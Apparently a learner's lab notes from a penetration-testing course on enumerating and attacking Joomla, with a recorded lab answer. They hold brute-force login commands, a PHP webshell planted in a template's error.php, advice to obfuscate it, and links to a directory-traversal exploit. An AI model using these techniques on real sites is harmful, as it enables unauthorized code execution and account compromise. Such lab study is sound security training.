---
title: "4. Joomla"
date: 2025-01-13
draft: false
---


## Joomla discovery and enumeration 
Written in PHP, MySQL backend 
very popular, 2.5m sites, 100% free

Assume footprinting ecom site. Looks not to be fully custom. 
If fingerprint we can find vulns + misconfigs. 

Often able to fingerprint joomla by checking page src. 
```bash
curl -s http://dev.inlanefreight.local/ | grep Joomla
```

Joomla robots.txt often looks like: 
```bash
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
```

Version fingerprinting if readme is present:  
```bash
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
```

Possible to fingerprint version from JS files in /media/system/js path or browsing to `/administrator/manifests/files/joomla.xml`

```bash
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
```

`cache.xml` file can also help give approx. version. located at `plugins/system/cache/cache.xml` 

----

**Enumeration**

`pip3 install droopescan` 

```bash
droopescan scan joomla --url http://dev.inlanefreight.local/
```

Another tool: 
https://github.com/drego85/JoomlaScan
Py tool inspired by now-defunct OWASP `joomscan` - it's a bit out of date and requires python 27
```shell-session
stejwes@htb[/htb]$ sudo python2.7 -m pip install urllib3
stejwes@htb[/htb]$ sudo python2.7 -m pip install certifi
stejwes@htb[/htb]$ sudo python2.7 -m pip install bs4
```

```bash
python2.7 joomlascan.py -u http://dev.inlanefreight.local
```

These tools will assist with enumerating version number and possible admin login pages
Default joomla admin user is `admin` and password is set at install time. 

Joomla brute script: 
https://github.com/ajnik/joomla-bruteforce
```bash
 sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
```

---

+ 0  Fingerprint the Joomla version in use on http://app.inlanefreight.local (Format: x.x.x)

![](/img/Pasted image 20250113195352.png)

![](/img/Pasted image 20250113195419.png)

answer: 3.10.0 

+ 0  Find the password for the admin user on http://app.inlanefreight.local

![](/img/Pasted image 20250113200048.png)

---

## Attacking Joomla 

If access gained, we can tunnel into internal env 
Possible to gain RCE if have access to admin dashboard. 

We can add a php snippet like with wordpress, customizing a template. 

This is self-explanatory. Find a template for one of the pages, modify it to include a php webshell 
* An important note here is that **IT IS GOOD PRACTICE TO OBFUSCATE ACCESS TO THE WEBSHELL + USE NONSTANDARD NAMES**
* i.e. `system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);`
```bash
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id
```
**Note down this change for our report appendices and make every effort to remove the PHP snippet from the error.php page we've modified for the engagement**

### Leveraging known vulnerabilities in Joomla 
https://www.cvedetails.com/vulnerability-list/vendor_id-3496/Joomla.html
Disclosed + received CVE does not == exploitable working public poc 
Critical vulns that affect joomla core are rare - but most are extensions (much like wordpress plugins) 

tl;dr find public cve and throw it against the endpoint after enumerating vulnerable version number
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945

https://www.exploit-db.com/exploits/46710
https://github.com/dpgg101/CVE-2019-10945

---


 Leverage the directory traversal vulnerability to find a flag in the web root of the http://dev.inlanefreight.local/ Joomla application


![](/img/Pasted image 20250113211334.png)

![](/img/Pasted image 20250113211734.png)

![](/img/Pasted image 20250113211818.png)

(messed up here, but make sure you use the template that is currently in use by joomla)
![](/img/Pasted image 20250113212222.png)

